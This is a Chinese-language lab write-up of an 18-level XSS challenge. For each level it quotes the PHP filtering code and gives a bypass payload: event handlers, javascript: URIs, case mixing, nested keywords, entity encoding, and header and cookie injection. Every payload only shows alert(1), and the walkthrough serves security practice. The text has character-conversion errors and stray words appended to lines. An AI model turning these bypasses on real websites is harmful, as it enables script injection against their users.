沒有什麼過濾javascript
<script>alert(1)</script>
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <input name=keyword value="'.$str.'">
str是可控的變量,上面一行實體化了,沒有但願。php
第二行的的代碼沒有過濾,閉合一下input標籤就能夠了。html
"><script>alert(1)</script>&submit=搜索
<input name=keyword value='".htmlspecialchars($str)."'>
進行了html實體化,因此不能夠利用標籤了,利用js的事件來觸發xss,閉合的時候用單引號。java
'> onmouseover=alert(1) b='&submit=搜索
$str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); <input name=keyword value="'.$str3.'">
獲取keyword,尖括號置空,依舊利用js事件,閉合的時候利用雙引號。python
aa" onmouseover=alert(1) b="
$str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); <input name=keyword value="'.$str3.'">
首先把keyword轉換爲了小寫,以後把script跟on破壞掉了。cookie
利用a標籤的js協議來觸發xss。提交以後點擊一下那個鏈接就能夠觸發了。xss
"><a href="javascript:alert(1)">
$str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); <input name=keyword value="'.$str6.'">
跟第五關相似,過濾了script,on,src,data,href
等,可是沒有進行大小寫轉換,因此能夠利用大小寫混寫來繞過。ide
"><a Href="javascript:alert(1)"> "><img Src=x Onerror=alert(1)>
$str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); <input name=keyword value="'.$str6.'">
進行了小寫轉換,而且過濾了script,on,src,data,href
等。函數
能夠利用單詞嵌套來繞過,例如script能夠寫成 scrSCRIPTiptui
"><scscriptript>alert(1)</scrscriptipt>
$str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center><BR><a href="'.$str7.'">友情連接</a></center>';
過濾的跟以前的差很少,加上把雙引號也過濾了。
相似第五關,能夠利用js協議。可是由於script過濾了,因此須要用到實體編碼來過濾了。
對javascript:alert(1)
進行編碼
javascript:alert(1)
編碼python代碼:
def unicodeHtml(self, orgCode): self.enCode['unicodeHtml'] = ';'.join( '&#{}'.format(ord(x)) for x in orgCode)
網上別的表哥說還能夠這樣繞過:
能夠利用空字符、空格、TAB換行、註釋、特殊的函數,將代碼隔開作到過濾,例如:
javas%09cript:alert() javas%0acript:alert() javas%0dcript:alert() %09:tab %0a:linefeed(換行) %0d:creturn
可是我嘗試了一下:
em~ 好迷,搜了一下才知道是httpd.conf的配置問題。
<Directory /> Options FollowSymLinks AllowOverride None Order deny,allow Deny from all </Directory>
這一段改爲:
<Directory /> Options Indexes FollowSymLinks AllowOverride None </Directory>
em~ 改了也沒有好使,多是個人環境問題叭。佔個坑。
$str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的連接不合法?有沒有!">友情連接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情連接</a></center>'; }
平常過濾,若是keyword裏不包含http://
就不合法。編碼以後加進去就能夠了。
javascript:alert(1) //http://
$str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <input name="t_sort" value="'.$str33.'" type="hidden">
str變量傳入以後直接實體化後輸出了,因此keyword參數是沒用的。
發現還能夠傳一個t_sort
參數而且只是過濾了尖括號,閉合一下利用js事件就能夠了。
可是又發現t_sort
值的標籤是hidden的,因此咱們這裏改爲可見的。
" onmouseover=alert(1) type="text" // <!--訪問:/level10.php?keyword=well%20done!&t_sort=" onmouseover=alert(1) type="text" //-->
$str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden">
keyword跟t_sort都進行了實體化,沒戲。
這裏出現了一個$_SERVER['HTTP_REFERER']
這個變量只是過濾了尖括號,那麼這個變量怎麼傳進去呢?
能夠經過抓包改包來實現:
這裏利用burpsuite來實現改包的功能
添加一個:Referer:" onmouseover=alert(1) type="text" //
以後點擊forward就能夠了。
$str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); <input name="t_ua" value="'.$str33.'" type="hidden">
跟剛剛的相似,也是要抓包改包。
更改User-Agent
的值爲" onmouseover=alert(1) type="text" //
setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); <input name="t_cook" value="'.$str33.'" type="hidden">
抓包,改cookie
Cookie: user=" onmouseover=alert(1) type="text" //
沒有太看明白,參考裏的最後一個裏有答案。。。
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script> $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
看了大佬們的分析,知道了這題是利用AngularJS ng-include 指令。
ng-include 指令用於包含外部的 HTML 文件。
包含的內容將做爲指定元素的子節點。
ng-include 屬性的值能夠是一個表達式,返回一個文件名。
默認狀況下,包含的文件須要包含在同一個域名下。
訪問/level15.php?src='level1.php'
的時候會把第6關的文件引入到本頁:
因此咱們能夠利用以前利用過的payload,好比利用第一關。
/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'
$str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4); echo "<center>".$str5."</center>";
利用:%0d %0a分隔
<img%0Dsrc=1%0Donerror=alert(1)>
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
html實例化,經過on來觸發。
%20onmouseover=alert(1)
執行後的源代碼:
<embed src=xsf01.swf?a= onmouseover=alert(1) width=100% heigth=100%><h2 align=center>成功後,<a href=level18.php?arg01=a&arg02=b>點我進入下一關</a></h2>
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
感受跟17差很少呀。
%20onmouseover=alert(1)
XSS挑戰之旅(1~10)
https://www.jianshu.com/p/550529813397
XSS挑戰之旅--遊戲闖關
https://www.jianshu.com/p/4e3a517bc4ea
【巨人肩膀上的矮子】XSS挑戰之旅---遊戲通關攻略(更新至18關)
https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12